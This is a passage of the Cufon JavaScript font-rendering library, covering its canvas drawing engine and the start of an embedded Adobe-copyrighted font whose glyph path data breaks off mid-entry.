			vStyle = cover.style;

			vStyle.width = roundedShapeWidth;
			vStyle.height = roundedHeight;

		}
		else if (cover) canvas.removeChild(cover);

		wStyle.width = Math.max(Math.ceil(size.convert(width * stretchFactor)), 0);

		if (HAS_BROKEN_LINEHEIGHT) {

			var yAdjust = style.computedYAdjust;

			if (yAdjust === undefined) {
				var lineHeight = style.get('lineHeight');
				if (lineHeight == 'normal') lineHeight = '1em';
				else if (!isNaN(lineHeight)) lineHeight += 'em'; // no unit
				style.computedYAdjust = yAdjust = 0.5 * (getSizeInPixels(el, lineHeight) - parseFloat(wStyle.height));
			}

			if (yAdjust) {
				wStyle.marginTop = Math.ceil(yAdjust) + 'px';
				wStyle.marginBottom = yAdjust + 'px';
			}

		}

		return wrapper;

	};

})());

Cufon.registerEngine('canvas', (function() {

	// Safari 2 doesn't support .apply() on native methods

	var check = document.createElement('canvas');
	if (!check || !check.getContext || !check.getContext.apply) return;
	check = null;

	var HAS_INLINE_BLOCK = Cufon.CSS.supports('display', 'inline-block');

	// Firefox 2 w/ non-strict doctype (almost standards mode)
	var HAS_BROKEN_LINEHEIGHT = !HAS_INLINE_BLOCK && (document.compatMode == 'BackCompat' || /frameset|transitional/i.test(document.doctype.publicId));

	var styleSheet = document.createElement('style');
	styleSheet.type = 'text/css';
	styleSheet.appendChild(document.createTextNode((
		'cufon{text-indent:0;}' +
		'@media screen,projection{' +
			'cufon{display:inline;display:inline-block;position:relative;vertical-align:middle;' +
			(HAS_BROKEN_LINEHEIGHT
				? ''
				: 'font-size:1px;line-height:1px;') +
			'}cufon cufontext{display:-moz-inline-box;display:inline-block;width:0;height:0;text-align:left;text-indent:-10000in;}' +
			(HAS_INLINE_BLOCK
				? 'cufon canvas{position:relative;}'
				: 'cufon canvas{position:absolute;}') +
			'cufonshy.cufon-shy-disabled,.cufon-viewport-resizing cufonshy{display:none;}' +
			'cufonglue{white-space:nowrap;display:inline-block;}' +
			'.cufon-viewport-resizing cufonglue{white-space:normal;}' +
		'}' +
		'@media print{' +
			'cufon{padding:0;}' + // Firefox 2
			'cufon canvas{display:none;}' +
		'}'
	).replace(/;/g, '!important;')));
	document.getElementsByTagName('head')[0].appendChild(styleSheet);

	function generateFromVML(path, context) {
		var atX = 0, atY = 0;
		var code = [], re = /([mrvxe])([^a-z]*)/g, match;
		generate: for (var i = 0; match = re.exec(path); ++i) {
			var c = match[2].split(',');
			switch (match[1]) {
				case 'v':
					code[i] = { m: 'bezierCurveTo', a: [ atX + ~~c[0], atY + ~~c[1], atX + ~~c[2], atY + ~~c[3], atX += ~~c[4], atY += ~~c[5] ] };
					break;
				case 'r':
					code[i] = { m: 'lineTo', a: [ atX += ~~c[0], atY += ~~c[1] ] };
					break;
				case 'm':
					code[i] = { m: 'moveTo', a: [ atX = ~~c[0], atY = ~~c[1] ] };
					break;
				case 'x':
					code[i] = { m: 'closePath' };
					break;
				case 'e':
					break generate;
			}
			context[code[i].m].apply(context, code[i].a);
		}
		return code;
	}

	function interpret(code, context) {
		for (var i = 0, l = code.length; i < l; ++i) {
			var line = code[i];
			context[line.m].apply(context, line.a);
		}
	}

	return function(font, text, style, options, node, el) {

		var redraw = (text === null);

		if (redraw) text = node.getAttribute('alt');

		var viewBox = font.viewBox;

		var size = style.getSize('fontSize', font.baseSize);

		var expandTop = 0, expandRight = 0, expandBottom = 0, expandLeft = 0;
		var shadows = options.textShadow, shadowOffsets = [];
		if (shadows) {
			for (var i = shadows.length; i--;) {
				var shadow = shadows[i];
				var x = size.convertFrom(parseFloat(shadow.offX));
				var y = size.convertFrom(parseFloat(shadow.offY));
				shadowOffsets[i] = [ x, y ];
				if (y < expandTop) expandTop = y;
				if (x > expandRight) expandRight = x;
				if (y > expandBottom) expandBottom = y;
				if (x < expandLeft) expandLeft = x;
			}
		}

		var chars = Cufon.CSS.textTransform(text, style).split('');

		var jumps = font.spacing(chars,
			~~size.convertFrom(parseFloat(style.get('letterSpacing')) || 0),
			~~size.convertFrom(parseFloat(style.get('wordSpacing')) || 0)
		);

		if (!jumps.length) return null; // there's nothing to render

		var width = jumps.total;

		expandRight += viewBox.width - jumps[jumps.length - 1];
		expandLeft += viewBox.minX;

		var wrapper, canvas;

		if (redraw) {
			wrapper = node;
			canvas = node.firstChild;
		}
		else {
			wrapper = document.createElement('cufon');
			wrapper.className = 'cufon cufon-canvas';
			wrapper.setAttribute('alt', text);

			canvas = document.createElement('canvas');
			wrapper.appendChild(canvas);

			if (options.printable) {
				var print = document.createElement('cufontext');
				print.appendChild(document.createTextNode(text));
				wrapper.appendChild(print);
			}
		}

		var wStyle = wrapper.style;
		var cStyle = canvas.style;

		var height = size.convert(viewBox.height);
		var roundedHeight = Math.ceil(height);
		var roundingFactor = roundedHeight / height;
		var stretchFactor = roundingFactor * Cufon.CSS.fontStretch(style.get('fontStretch'));
		var stretchedWidth = width * stretchFactor;

		var canvasWidth = Math.ceil(size.convert(stretchedWidth + expandRight - expandLeft));
		var canvasHeight = Math.ceil(size.convert(viewBox.height - expandTop + expandBottom));

		canvas.width = canvasWidth;
		canvas.height = canvasHeight;

		// needed for WebKit and full page zoom
		cStyle.width = canvasWidth + 'px';
		cStyle.height = canvasHeight + 'px';

		// minY has no part in canvas.height
		expandTop += viewBox.minY;

		cStyle.top = Math.round(size.convert(expandTop - font.ascent)) + 'px';
		cStyle.left = Math.round(size.convert(expandLeft)) + 'px';

		var wrapperWidth = Math.max(Math.ceil(size.convert(stretchedWidth)), 0) + 'px';

		if (HAS_INLINE_BLOCK) {
			wStyle.width = wrapperWidth;
			wStyle.height = size.convert(font.height) + 'px';
		}
		else {
			wStyle.paddingLeft = wrapperWidth;
			wStyle.paddingBottom = (size.convert(font.height) - 1) + 'px';
		}

		var g = canvas.getContext('2d'), scale = height / viewBox.height;

		// proper horizontal scaling is performed later
		g.scale(scale, scale * roundingFactor);
		g.translate(-expandLeft, -expandTop);
		g.save();

		function renderText() {
			var glyphs = font.glyphs, glyph, i = -1, j = -1, chr;
			g.scale(stretchFactor, 1);
			while (chr = chars[++i]) {
				var glyph = glyphs[chars[i]] || font.missingGlyph;
				if (!glyph) continue;
				if (glyph.d) {
					g.beginPath();
					if (glyph.code) interpret(glyph.code, g);
					else glyph.code = generateFromVML('m' + glyph.d, g);
					g.fill();
				}
				g.translate(jumps[++j], 0);
			}
			g.restore();
		}

		if (shadows) {
			for (var i = shadows.length; i--;) {
				var shadow = shadows[i];
				g.save();
				g.fillStyle = shadow.color;
				g.translate.apply(g, shadowOffsets[i]);
				renderText();
			}
		}

		var gradient = options.textGradient;
		if (gradient) {
			var stops = gradient.stops, fill = g.createLinearGradient(0, viewBox.minY, 0, viewBox.maxY);
			for (var i = 0, l = stops.length; i < l; ++i) {
				fill.addColorStop.apply(fill, stops[i]);
			}
			g.fillStyle = fill;
		}
		else g.fillStyle = style.get('color');

		renderText();

		return wrapper;

	};

})());
;
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright (c) 1987, 1991 Adobe Systems Incorporated. All Rights Reserved.
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"50,0r0,-10v-15,24,-46,10,-46,-27v0,-36,28,-50,46,-29r0,-9r39,0r0,7r-31,0r0,25r22,0r0,7r-22,0r0,29r34,0r0,7r-42,0xm51,-37v0,-43,-40,-45,-39,0v0,23,9,32,19,32v10,0,20,-9,20,-32","w":96},{"d":"28,-30r0,-20r7,0r0,20r21,0r0,7r-21,0r0,21r-7,0r0,-21r-20,0r0,-7r20,0","w":63},{"d":"56,-30r0,7r-48,0r0,-7r48,0xm37,-39r-10,0r0,-11r10,0r0,11xm37,-2r-10,0r0,-12r10,0r0,12","w":63},{"d":"26,2v-12,0,-22,-8,-22,-28v0,-20,10,-29,22,-29v12,0,21,9,21,29v0,20,-9,28,-21,28xm26,-5v20,-2,18,-41,0,-43v-20,2,-20,41,0,43xm14,-75v12,-2,12,8,16,14v-11,1,-11,-9,-16,-14","w":51},{"d":"13,-75r0,47v10,-8,11,-25,28,-25r-14,18r17,35v-17,0,-14,-20,-22,-29v-7,6,-11,14,-9,29r-7,0r0,-75r7,0","w":45},{"d":"6,-75v32,-4,50,9,50,37v0,30,-18,41,-50,38r0,-75xm14,-68r0,61v23,1,34,-6,34,-31v0,-24,-11,-33,-34,-30","w":60},{"d":"37,-48r0,-27r8,0r0,75v-5,1,-10,0,-8,-6v-12,15,-33,9,-33,-19v0,-29,20,-38,33,-23xm25,-5v13,0,13,-19,12,-34v-2,-5,-6,-9,-12,-9v-20,1,-14,47,0,43","w":50},{"d":"47,-75v-5,29,-24,44,-34,68r34,0r0,7r-43,0v6,-28,24,-44,34,-68r-31,0r0,-7r40,0xm28,-83v-10,0,-10,-9,-16,-13v8,-1,11,3,13,7v3,-4,6,-8,14,-7","w":50},{"d":"32,-75r22,75v-15,2,-10,-16,-15,-24r-25,0v-5,8,1,26,-14,24r21,-75r11,0xm37,-31r-11,-39r-9,39r20,0xm23,-83v3,-6,3,-16,15,-13v-5,4,-5,14,-15,13","w":53},{"d":"43,0r-8,0r0,-7v-8,12,-30,11,-30,-7v0,-16,17,-18,30,-22v2,-15,-19,-15,-23,-4r-6,-4v7,-15,34,-16,36,6v1,13,-2,27,1,38xm35,-30v-11,0,-34,16,-16,24v11,1,19,-9,16,-24xm20,-61v4,-6,3,-16,15,-14v-5,4,-5,14,-15,14","w":48},{"d":"27,-66v-1,9,3,31,-6,20v-6,6,-20,5,-19,-6v-2,-12,31,-12,13,-20v-6,0,-7,9,-12,3v5,-9,24,-10,24,3xm12,-47v8,1,13,-11,7,-13v-7,0,-18,10,-7,13","w":30},{"d":"26,2v-12,0,-22,-8,-22,-28v0,-20,10,-29,22,-29v12,0,21,9,21,29v0,20,-9,28,-21,28xm26,-5v20,-2,18,-41,0,-43v-20,2,-20,41,0,43xm22,-61v4,-6,3,-17,15,-14v-5,4,-5,14,-15,14","w":51},{"d":"56,-5r22,0r0,5r-28,0v1,-20,23,-21,22,-33v0,-4,-2,-8,-7,-8v-8,-1,-7,13,-15,7v1,-15,29,-16,28,1v0,13,-17,16,-22,28xm57,-75r6,0r-40,75r-6,0xm20,-76r0,41v4,0,7,-1,6,4r-19,0v-1,-5,3,-4,7,-4r0,-35v0,0,-8,3,-7,-2v4,-2,7,-5,13,-4","w":82},{"d":"44,-75r0,7r-30,0r0,25r22,0r0,6r-22,0r0,37r-8,0r0,-75r38,0","w":46},{"d":"44,-25r-32,0v-1,24,20,25,27,11r6,4v-9,19,-41,16,-41,-16v0,-20,10,-29,22,-29v15,0,19,17,18,30xm12,-32r24,0v0,-7,-3,-16,-11,-16v-8,0,-13,9,-13,16","w":49},{"d":"42,-53r-15,53r-11,0r-15,-53r7,0r14,46r13,-46r7,0","w":42},{"d":"52,-21v5,17,-23,24,-46,21r0,-75v33,-8,64,21,32,36v9,3,14,8,14,18xm14,-36r0,29v16,1,34,-2,30,-13v2,-12,-13,-18,-30,-16xm14,-43v13,-1,29,3,29,-12v0,-16,-16,-13,-29,-13r0,25","w":56},{"d":"37,-14v-13,2,-13,-9,-19,-14v6,-5,7,-15,19,-13r-12,13xm22,-14v-12,1,-12,-9,-18,-14v6,-5,6,-14,18,-13r-11,13","w":40},{"d":"20,-5v20,1,13,-29,14,-48r7,0r0,53v-4,0,-9,1,-7,-5v-10,10,-28,12,-28,-11r0,-37r7,0v2,16,-6,43,7,48xm21,-75v10,0,10,10,16,14v-9,2,-11,-3,-13,-8v-3,4,-5,10,-14,8","w":47},{"d":"51,-75v-10,22,-25,39,-21,75r-8,0v4,-36,-12,-53,-22,-75r8,0r18,36r17,-36r8,0xm38,-95r0,8r-8,0r0,-8r8,0xm21,-95r0,8r-7,0r0,-8r7,0","w":51},{"d":"40,2v-22,0,-39,-18,-39,-39v0,-21,17,-39,39,-39v22,0,39,18,39,39v0,21,-17,39,-39,39xm40,-4v19,0,33,-14,33,-33v0,-19,-14,-33,-33,-33v-19,0,-33,14,-33,33v0,19,14,33,33,33xm57,-48v-10,4,-6,-11,-17,-9v-18,3,-17,37,0,40v11,2,7,-14,17,-10v-2,8,-8,15,-17,15v-11,0,-20,-9,-20,-25v0,-28,32,-35,37,-11","w":80},{"d":"41,-75r0,7r-34,0r0,-7r34,0","w":48},{"d":"6,-75v23,-3,49,5,45,21v2,12,-16,23,-37,20r0,34r-8,0r0,-75xm14,-68r0,28v13,0,29,1,29,-14v0,-16,-16,-14,-29,-14","w":53},{"d":"35,1v2,11,9,10,18,10v1,5,-1,7,-6,6v-10,0,-18,-1,-20,-16v-37,-6,-27,-77,4,-77v16,0,27,14,27,39v0,15,-4,35,-23,38xm51,-37v0,-43,-40,-45,-39,0v0,23,9,32,19,32v10,0,20,-9,20,-32","w":62},{"d":"31,-76v16,0,27,14,27,39v0,25,-11,39,-27,39v-16,0,-27,-14,-27,-39v0,-25,11,-39,27,-39xm51,-37v0,-43,-40,-45,-39,0v0,23,9,32,19,32v10,0,20,-9,20,-32xm15,-89v5,-14,23,1,28,-8r4,3v-4,14,-23,-2,-28,8","w":62},{"d":"43,0r-8,0r0,-7v-8,12,-30,11,-30,-7v0,-16,17,-18,30,-22v2,-15,-19,-15,-23,-4r-6,-4v7,-15,34,-16,36,6v1,13,-2,27,1,38xm35,-30v-11,0,-34,16,-16,24v11,1,19,-9,16,-24xm8,-67v4,-15,22,1,27,-8r5,2v-5,15,-23,-2,-28,9","w":48},{"d":"5,-74v26,-8,5,34,22,41v-19,3,8,44,-22,42v16,-4,-3,-38,16,-42v-18,-1,0,-36,-16,-41","w":31},{"d":"55,-54r-7,2v-2,-9,-7,-18,-17,-18v-10,0,-19,10,-19,33v0,39,31,40,36,14r7,2v-2,12,-11,23,-24,23v-16,0,-27,-14,-27,-39v0,-43,44,-52,51,-17xm35,6v-4,4,-2,12,-11,11v2,-5,2,-13,11,-11","w":59},{"d":"26,-55v10,0,24,15,10,17v-2,-5,-4,-10,-10,-10v-20,2,-20,41,0,43v9,1,9,-14,18,-8v-8,23,-41,20,-40,-13v0,-20,10,-29,22,-29xm29,6v-3,4,-2,12,-10,11v2,-5,1,-13,10,-11","w":48},{"d":"43,-53r-18,55v-3,10,-10,19,-23,15v0,-10,18,-4,17,-18r-18,-52r7,0r15,41r13,-41r7,0","w":43},{"d":"13,-53r0,53r-7,0r0,-53r7,0","w":19},{"d":"15,-73r0,8r-8,0r0,-8r8,0xm31,-73r0,8r-7,0r0,-8r7,0","w":38},{"d":"40,-53v-4,20,-18,30,-26,47r26,0r0,6r-36,0v4,-20,19,-30,27,-47r-24,0r0,-6r33,0xm25,-61v-10,0,-10,-10,-16,-14v9,-2,11,3,13,8v3,-4,4,-10,13,-8","w":44},{"d":"13,-53r0,59v0,11,-5,13,-15,13v-3,-9,8,-5,8,-15r0,-57r7,0xm13,-75r0,9r-7,0r0,-9r7,0","w":19},{"d":"28,-76v33,3,33,75,0,78v-34,-3,-34,-75,0,-78xm28,-70v-15,0,-16,21,-16,33v0,12,1,32,16,32v15,0,16,-20,16,-32v0,-12,-1,-33,-16,-33"},{"d":"17,-26v-1,-4,3,-3,6,-3v2,20,-25,28,-6,41v8,0,8,-12,15,-5v-4,14,-31,15,-30,-4v0,-13,15,-20,15,-29xm15,-42r0,-11r10,0r0,11r-10,0","w":33},{"w":27},{"d":"71,-11v0,6,2,13,-6,11r0,-11r-19,0v2,-15,12,-22,17,-34r8,0r0,29v4,-1,7,0,6,5r-6,0xm26,-42v0,-8,-6,-11,-15,-10r0,-5v6,2,14,0,13,-7v0,-14,-16,-1,-20,-5v5,-10,27,-9,26,4v0,5,-2,9,-7,11v14,4,9,25,-6,24v-7,1,-21,-8,-10,-10v4,8,19,9,19,-2xm60,-75r6,0r-40,75r-7,0xm65,-16r0,-22r-12,22r12,0","w":82},{"d":"43,-20v0,-14,-10,-17,-24,-16v-3,-14,26,-4,22,-20v1,-18,-24,-17,-28,-4r-5,-4v8,-17,41,-15,40,7v0,9,-3,13,-11,17v22,7,14,45,-10,42v-10,1,-29,-12,-16,-18v5,14,32,15,32,-4"},{"d":"40,-53v-4,20,-18,30,-26,47r26,0r0,6r-36,0v4,-20,19,-30,27,-47r-24,0r0,-6r33,0","w":44},{"d":"49,-75r-19,36r21,39r-9,0r-16,-32r-17,32r-8,0r20,-39r-19,-36v18,-1,15,19,24,28v8,-9,6,-28,23,-28","w":52},{"d":"44,-25r-32,0v-1,24,20,25,27,11r6,4v-9,19,-41,16,-41,-16v0,-20,10,-29,22,-29v15,0,19,17,18,30xm12,-32r24,0v0,-7,-3,-16,-11,-16v-8,0,-13,9,-13,16xm20,-73r0,8r-7,0r0,-8r7,0xm36,-73r0,8r-7,0r0,-8r7,0","w":49},{"d":"20,-5v20,1,13,-29,14,-48r7,0r0,53v-4,0,-9,1,-7,-5v-10,10,-28,12,-28,-11r0,-37r7,0v2,16,-6,43,7,48xm19,-61v4,-6,3,-17,16,-14v-5,5,-5,15,-16,14","w":47},{"d":"34,-62v0,8,-7,15,-15,15v-8,0,-14,-7,-14,-15v0,-8,6,-14,14,-14v8,0,15,6,15,14xm19,-52v14,0,12,-19,0,-19v-5,0,-9,4,-9,9v0,5,4,10,9,10","w":38},{"d":"14,-75r0,75r-8,0r0,-75r8,0xm-2,-96v12,-2,12,7,16,13v-10,0,-10,-9,-16,-13","w":19},{"d":"27,-48v-20,-1,-13,29,-14,48r-7,0r0,-53v4,0,9,-1,7,5v10,-10,28,-12,28,11r0,37r-7,0v-3,-16,8,-44,-7,-48","w":47},{"w":27},{"d":"14,-75r0,32r17,-10v1,13,-11,11,-17,17r0,29r32,0r0,7r-40,0r0,-32v-4,2,-10,7,-8,-3v13,-3,7,-25,8,-40r8,0","w":48},{"d":"8,-24v8,-22,37,10,44,-10r4,4v-8,24,-37,-9,-45,11","w":63},{"d":"46,-75r0,7r-32,0r0,25r23,0r0,7r-23,0r0,29r35,0r0,7r-43,0r0,-75r40,0xm24,-96v10,0,10,9,16,13v-8,1,-11,-3,-13,-7v-3,3,-5,8,-13,7","w":53},{"d":"31,-66v9,-1,21,15,9,17v-2,-5,-5,-10,-11,-10v-21,2,-19,41,0,43v9,1,10,-16,18,-8v-3,7,-8,13,-16,14r0,9r-7,0r0,-9v-18,-1,-26,-50,0,-55r0,-9r7,0r0,8"},{"d":"53,-75v0,30,6,82,-24,77v-29,4,-23,-48,-23,-77r7,0v4,26,-12,69,16,69v29,0,12,-44,16,-69r8,0xm18,-96v12,-2,12,7,15,13v-10,1,-10,-9,-15,-13","w":58},{"d":"14,-75r0,75r-8,0r0,-75r8,0xm22,-95r0,8r-8,0r0,-8r8,0xm5,-95r0,8r-7,0r0,-8r7,0","w":19},{"d":"14,0r-8,0r0,-75r13,0v6,20,9,44,17,62r16,-62r13,0r0,75r-8,0r0,-68r-18,68r-7,0r-18,-68r0,68","w":70},{"d":"32,-75r22,75v-15,2,-10,-16,-15,-24r-25,0v-5,8,1,26,-14,24r21,-75r11,0xm37,-31r-11,-39r-9,39r20,0xm11,-89v4,-14,22,2,27,-8r5,3v-5,14,-22,-2,-28,8","w":53},{"d":"31,0r0,9r-7,0r0,-9v-7,0,-25,-12,-14,-17v6,15,34,15,34,-3v0,-21,-38,-11,-38,-36v0,-11,8,-18,18,-19r0,-9r7,0r0,9v8,1,23,11,11,15v-5,-12,-29,-13,-29,3v0,19,38,9,38,37v0,12,-9,19,-20,20"},{"d":"32,-75r22,75v-15,2,-10,-16,-15,-24r-25,0v-5,8,1,26,-14,24r21,-75r11,0xm37,-31r-11,-39r-9,39r20,0xm22,-95r0,8r-7,0r0,-8r7,0xm39,-95r0,8r-8,0r0,-8r8,0","w":53},{"d":"31,-76v16,0,27,14,27,39v0,25,-11,39,-27,39v-16,0,-27,-14,-27,-39v0,-25,11,-39,27,-39xm51,-37v0,-43,-40,-45,-39,0v0,23,9,32,19,32v10,0,20,-9,20,-32xm20,-96v12,-2,12,7,16,13v-11,1,-11,-9,-16,-13","w":62},{"d":"31,-76v16,0,27,14,27,39v0,25,-11,39,-27,39v-16,0,-27,-14,-27,-39v0,-25,11,-39,27,-39xm51,-37v0,-43,-40,-45,-39,0v0,23,9,32,19,32v10,0,20,-9,20,-32xm29,-96v10,0,10,9,16,13v-13,2,-13,-13,-20,0r-7,0","w":62},{"d":"39,-50v2,-4,5,-7,9,-3v-10,5,-1,17,-1,27v0,26,-17,34,-33,24v-3,4,-6,11,-11,5r7,-10v-17,-21,4,-64,29,-43xm14,-13r20,-31v-10,-11,-25,5,-22,18v0,4,0,9,2,13xm38,-38r-21,30v17,11,27,-11,21,-30","w":51},{"d":"40,2v-22,0,-39,-18,-39,-39v0,-21,17,-39,39,-39v22,0,39,18,39,39v0,21,-17,39,-39,39xm40,-4v19,0,33,-14,33,-33v0,-19,-14,-33,-33,-33v-19,0,-33,14,-33,33v0,19,14,33,33,33xm25,-61v25,-6,46,16,21,26r10,23v-17,1,-5,-26,-25,-22r0,22r-6,0r0,-49xm31,-55r0,16v18,5,28,-14,9,-16r-9,0","w":80},{"d":"7,-75v32,-4,50,8,50,37v0,31,-17,41,-50,38r0,-36r-7,0r0,-7r7,0r0,-32xm15,-36r0,29v24,2,34,-6,34,-31v0,-24,-11,-33,-34,-30r0,25v7,1,19,-4,16,7r-16,0","w":61},{"d":"14,-7r35,0r0,7r-43,0v3,-33,37,-36,35,-55v0,-7,-4,-15,-12,-15v-8,0,-14,8,-15,16r-7,-2v1,-25,42,-27,42,1v0,22,-28,27,-35,48"},{"d":"32,-75r22,75v-15,2,-10,-16,-15,-24r-25,0v-5,8,1,26,-14,24r21,-75r11,0xm37,-31r-11,-39r-9,39r20,0xm18,-89v0,-5,4,-9,9,-9v5,0,9,4,9,9v0,5,-4,9,-9,9v-5,0,-9,-4,-9,-9xm27,-94v-6,1,-6,9,0,10v5,-1,5,-9,0,-10","w":53},{"d":"26,2v-12,0,-22,-8,-22,-28v0,-20,10,-29,22,-29v12,0,21,9,21,29v0,20,-9,28,-21,28xm26,-5v20,-2,18,-41,0,-43v-20,2,-20,41,0,43xm23,-75v10,0,10,10,16,14v-9,2,-11,-3,-13,-8v-3,4,-5,10,-14,8","w":51},{"d":"11,-61v4,-6,3,-17,16,-14v-5,5,-5,15,-16,14","w":30},{"d":"23,2v-7,0,-19,-4,-12,-11v16,10,29,3,32,-28v-11,16,-37,15,-38,-14v0,-19,13,-25,22,-25v12,0,24,10,24,34v0,29,-13,44,-28,44xm13,-50v-1,23,26,17,30,2v-1,-20,-11,-22,-16,-22v-6,0,-14,5,-14,20"},{"d":"16,-26r40,18r0,7r-48,-23r0,-5r48,-21r0,6","w":63},{"d":"53,-75r-15,27v0,0,15,-2,12,7v-7,1,-21,-5,-18,8r18,0r0,7r-18,0r0,26r-8,0r0,-26r-19,0r0,-7r19,0v3,-12,-11,-7,-19,-8r0,-7r13,0r-16,-27v19,-1,17,20,26,29v9,-9,7,-29,25,-29"},{"d":"4,-75v12,-3,12,8,15,14v-10,0,-10,-10,-15,-14","w":30},{"d":"81,-75r0,7r-31,0r0,25r22,0r0,7r-22,0r0,29r34,0r0,7r-41,0r0,-24r-22,0v-7,8,-4,26,-21,24r38,-75r43,0xm43,-30v-1,-12,2,-28,-1,-38r-18,38r19,0","w":88},{"d":"27,-26v-4,-8,-24,-16,-15,-24r20,19v8,-5,15,-24,24,-15r-20,20v5,8,26,16,15,24r-19,-20v-8,4,-17,26,-24,15","w":63},{"d":"43,-53r-18,55v-3,10,-10,19,-23,15v0,-10,18,-4,17,-18r-18,-52r7,0r15,41r13,-41r7,0xm18,-61v4,-6,3,-17,15,-14v-5,4,-5,14,-15,14","w":43},{"d":"49,-55v1,7,-1,7,-8,8v9,15,-4,35,-23,28v-2,1,-5,2,-5,5v0,7,36,-1,36,19v0,4,-2,13,-23,13v-26,1,-29,-17,-13,-23v-9,-3,-8,-13,0,-17v-17,-15,5,-44,24,-29v3,-3,7,-4,12,-4xm37,-36v0,-7,-4,-13,-11,-13v-7,0,-12,6,-12,13v0,7,4,12,11,12v8,0,12,-5,12,-12xm41,4v-3,-10,-27,-10,-30,1v3,11,28,10,30,-1","w":53},{"d":"46,-75r0,7r-32,0r0,25r23,0r0,7r-23,0r0,29r35,0r0,7r-43,0r0,-75r40,0xm15,-96v12,-2,12,7,16,13v-10,0,-10,-9,-16,-13","w":53},{"d":"39,-53r-13,25r17,28v-16,2,-15,-14,-22,-21v-7,7,-5,22,-20,21r16,-28r-16,-25v15,-2,14,12,20,19v6,-6,4,-21,18,-19","w":43},{"d":"43,0r-8,0r0,-7v-8,12,-30,11,-30,-7v0,-16,17,-18,30,-22v2,-15,-19,-15,-23,-4r-6,-4v7,-15,34,-16,36,6v1,13,-2,27,1,38xm35,-30v-11,0,-34,16,-16,24v11,1,19,-9,16,-24","w":48},{"d":"10,9r-6,-2v13,-26,13,-55,0,-81r6,-2v15,26,15,59,0,85","w":24},{"d":"43,0r-8,0r0,-7v-8,12,-30,11,-30,-7v0,-16,17,-18,30,-22v2,-15,-19,-15,-23,-4r-6,-4v7,-15,34,-16,36,6v1,13,-2,27,1,38xm35,-30v-11,0,-34,16,-16,24v11,1,19,-9,16,-24xm21,-75v11,-1,11,9,16,14v-8,1,-10,-4,-13,-8v-3,4,-4,10,-13,8","w":48},{"d":"13,-75r0,75r-7,0r0,-75r7,0","w":19},{"d":"13,-53r0,53r-7,0r0,-53r7,0xm6,-61v4,-6,3,-17,15,-14v-5,4,-5,14,-15,14","w":19},{"d":"32,-75r22,75v-15,2,-10,-16,-15,-24r-25,0v-5,8,1,26,-14,24r21,-75r11,0xm37,-31r-11,-39r-9,39r20,0xm24,-96v11,-1,11,9,16,13v-8,1,-10,-3,-13,-7v-3,3,-5,8,-13,7","w":53},{"d":"28,-36v0,-7,-3,-17,7,-14r0,14r21,0r0,7r-21,0v-1,7,3,18,-7,15r0,-15r-20,0r0,-7r20,0xm8,-2r0,-7r48,0r0,7r-48,0","w":63},{"d":"14,-75r0,75r-8,0r0,-75r8,0xm6,-83v3,-6,3,-16,15,-13v-5,4,-5,14,-15,13","w":19},{"d":"24,-75v6,11,16,-3,22,5r-10,5v21,16,9,75,-10,67v-12,0,-22,-8,-22,-28v-1,-26,21,-37,34,-22v-2,-7,-5,-11,-9,-15v-5,1,-14,10,-16,2r13,-5v-5,-3,-13,-8,-2,-9xm26,-5v20,-2,18,-41,0,-43v-20,2,-20,41,0,43","w":51},{"d":"44,-25r-32,0v-1,24,20,25,27,11r6,4v-9,19,-41,16,-41,-16v0,-20,10,-29,22,-29v15,0,19,17,18,30xm12,-32r24,0v0,-7,-3,-16,-11,-16v-8,0,-13,9,-13,16xm13,-75v12,-2,12,8,16,14v-11,1,-11,-9,-16,-14","w":49},{"d":"44,-25r-32,0v-1,24,20,25,27,11r6,4v-9,19,-41,16,-41,-16v0,-20,10,-29,22,-29v15,0,19,17,18,30xm12,-32r24,0v0,-7,-3,-16,-11,-16v-8,0,-13,9,-13,16xm20,-61v4,-6,3,-17,16,-14v-5,5,-5,15,-16,14","w":49},{"d":"40,-28v5,0,11,-1,9,6r-10,0r-2,22r-7,0r3,-22r-13,0v-3,7,3,23,-9,22r2,-22v-5,0,-12,1,-10,-6r11,0r2,-18v-6,0,-12,1,-10,-7r11,0r2,-22r7,0r-3,22r13,0r2,-22r7,0r-2,22r9,0r0,7r-10,0xm35,-46r-13,0r-2,18r13,0"},{"d":"22,-28v-6,5,-6,15,-18,14r11,-14r-11,-13v12,-1,12,9,18,13xm37,-28v-6,5,-7,15,-19,14r11,-14r-11,-13v12,-1,13,9,19,13","w":40},{"d":"26,-42v0,-8,-6,-11,-15,-10r0,-5v6,2,14,0,13,-7v0,-14,-16,-1,-20,-5v5,-10,27,-9,26,4v0,5,-2,9,-7,11v14,4,9,25,-6,24v-7,1,-21,-8,-10,-10v4,8,19,9,19,-2","w":33},{"d":"36,-76v13,0,22,7,15,18v-9,-19,-32,-15,-34,11r31,0v-1,11,-21,4,-32,6r1,9r27,0v0,11,-17,5,-27,6v4,22,23,27,34,14v2,12,-8,13,-16,14v-13,0,-22,-11,-25,-28r-8,0v0,-7,9,-3,7,-15r-7,0v1,-3,1,-7,7,-6v3,-18,14,-29,27,-29"},{"d":"52,-57r-7,2v0,-17,-28,-21,-29,-2v0,19,36,11,36,37v0,31,-44,27,-47,0r7,-1v1,18,31,23,32,2v0,-21,-36,-12,-36,-37v0,-27,42,-25,44,-1xm31,-83v-10,0,-10,-9,-16,-13v8,-1,11,3,13,7v3,-4,6,-8,14,-7","w":56},{"d":"70,-11v0,6,2,13,-6,11r0,-11r-19,0v2,-15,12,-22,17,-34r8,0r0,29v4,-1,7,0,6,5r-6,0xm57,-75r6,0r-40,75r-6,0xm20,-76r0,41v4,0,7,-1,6,4r-19,0v-1,-5,3,-4,7,-4r0,-35v0,0,-8,3,-7,-2v4,-2,7,-5,13,-4xm64,-16r0,-22r-12,22r12,0","w":82},{"d":"31,-76v16,0,27,14,27,39v0,25,-11,39,-27,39v-16,0,-27,-14,-27,-39v0,-25,11,-39,27,-39xm51,-37v0,-43,-40,-45,-39,0v0,23,9,32,19,32v10,0,20,-9,20,-32xm27,-83v4,-6,4,-15,16,-13v-5,4,-5,14,-16,13","w":62},{"d":"9,-35r22,0r0,4r-29,0v2,-20,24,-21,23,-33v-1,-10,-16,-9,-16,1r-6,-1v0,-15,29,-16,28,0v0,13,-17,17,-22,29","w":33},{"d":"27,-48v-20,-1,-13,29,-14,48r-7,0r0,-53v4,0,9,-1,7,5v10,-10,28,-12,28,11r0,37r-7,0v-3,-16,8,-44,-7,-48xm8,-67v4,-15,21,2,27,-8r5,2v-4,15,-24,-2,-28,9","w":47},{"d":"13,-53r0,53r-7,0r0,